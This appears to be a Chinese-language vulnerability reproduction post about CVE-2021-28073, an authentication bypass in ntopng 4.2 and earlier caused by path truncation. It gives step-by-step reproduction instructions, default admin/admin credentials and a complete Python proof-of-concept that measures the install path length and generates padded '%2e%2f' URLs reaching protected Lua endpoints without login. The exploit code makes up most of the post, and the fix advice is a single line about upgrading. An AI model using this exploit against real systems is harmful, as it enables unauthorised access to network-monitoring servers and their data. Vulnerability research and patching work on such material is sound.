admin管理员组

文章数量:1637860

漏洞描述:

Ntopng是原始ntop的下一代版本,它是一种监视网络使用情况的网络流量探测器。Ntopng是基于libpcapa的,它是以一种可移植的方式编写的,以便在每个Unix平台、MacOSX和Windows上都能运行,它提供了一个直观、加密的web用户界面,用于探索实时和历史交通信息。

Ntopng对外提供web页面,其4.2及其以前版本web接口存在权限认证绕过漏洞,导致攻击者可以在未授权的情况下请求符合漏洞利用条件的接口,并最终利用服务器端请求伪造和高危服务实现远程代码执行。

对于一个HTTP请求来说,Ntopng的主要处理逻辑代码都在 handle_lua_request函数中,Ntopng调用snprintf将用户请求的URL写入到path数组中,而snprintf会在字符串结尾添加\0。由于path数组长度有限,即使用户传入超过255个字符的路径,也只会写入前254个字符,我们可以通过填充./来构造一个长度超过255但是合法的路径,并利用长度限制来截断后面的.css.lua.即可绕过Ntopng的认证以访问部分Lua文件。

复现过程:

1.访问http://ip:port,自动跳转到登录页面

2.输入账号密码进行登录,进去后重置一下密码

账号:admin

密码:admin

3.随意选取一个接口,我这里选取的是/lua/find_prefs.lua

4.退出登录

5.构造payload,并利用payload计算出ntopng lua目录的长度

python3 poc.py --url http://ip:port/ baselength

import sys

import requests

import argparse

import logging

def is_ntopng() -> bool:

    response = session.get(base_url, allow_redirects=False)

    return response.status_code == 302 and '/lua/login.lua' in response.headers.get('Location', '')

def get_base_length() -> int:

    for i in range(90, 120):

        url = base_url + '/lua/' + '%2e%2f' * i + 'as_stats.lua.css'

        response = session.get(url, allow_redirects=False)

        if response.status_code < 300:

            return 255 - 1 - i * 2 - len('as_stats.lua')

    for i in range(90, 120):

        url = base_url + '/lua/' + '%2e%2f' * i + 'get_macs_data.lua.css'

        response = session.get(url, allow_redirects=False)

        if response.status_code < 300:

            return 255 - 1 - i * 2 - len('get_macs_data.lua')

    return -1

def get_padding_length(path: str):

    padding_length = 255 - 1 - base_length - len(path)

    if padding_length % 2 == 1:

        raise RuntimeError(f'path {path} is not support')

    return int(padding_length / 2)

logging.basicConfig(stream=sys.stderr, level=logging.WARNING)

session = requests.Session()

session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'

if __name__ == '__main__':

    parser = argparse.ArgumentParser(description='CVE-2021-28073 POC for ntopng.')

    parser.add_argument('-u', '--url', help='base url for ntopng, eg: http://192.168.1.233:3000', metavar='<URL>', required=True)

    parser.add_argument('-v', '--verbose', default=False, action='store_true')

    

    subparsers = parser.add_subparsers(dest='action')

    baselength_command = subparsers.add_parser('baselength', help='get base path length of ntopng')

    generate_command = subparsers.add_parser('generate', help='generate the authenticate bypass url')

    generate_command.add_argument('-l', '--length', type=int, help='base path length of target ntopng', metavar='<LENGTH>', required=True)

    generate_command.add_argument('-p', '--path', help='lua pathname', metavar='<PATH>', required=True)

    generate_command = subparsers.add_parser('include', help='generate the arbitrary file inclusion url')

    generate_command.add_argument('-l', '--length', type=int, help='base path length of target ntopng', metavar='<LENGTH>', required=True)

    generate_command.add_argument('-i', '--include', help='path to include', metavar='<PATH>', required=True)

    args = parser.parse_args()

    if not args.action:

        parser.print_help()

        sys.exit(1)

    if args.verbose:

        logging.basicConfig(stream=sys.stderr, level=logging.DEBUG)

    base_url = args.url.rstrip('/')

    

    # check target

    if not is_ntopng():

        raise RuntimeError('No Ntopng detected')

    if args.action == 'baselength':

        base_length = get_base_length()

        sys.stdout.write(f'ntopng install path length: {base_length}\n')

    elif args.action == 'generate':

        base_length = args.length

        path = args.path

        sys.stdout.write(base_url + '/lua/' + '%2e%2f' * get_padding_length(path) + path + '.css\n')

长度为36

6.在未登录状态下,访问http://ip:port/lua/find_prefs.lua,会自动跳转至登陆页面

7.利用payload构造可以未授权访问的url

python3 poc.py --url http://ip:port/generate -l 36 -p find_prefs.lua

8.访问生成的url,既可以未授权访问相关接口信息

借此漏洞,攻击者可以在未登录的情况下访问系统接口,获取信息。

修复建议:

1.升级版本。

本文标签: 权限ntopngCVE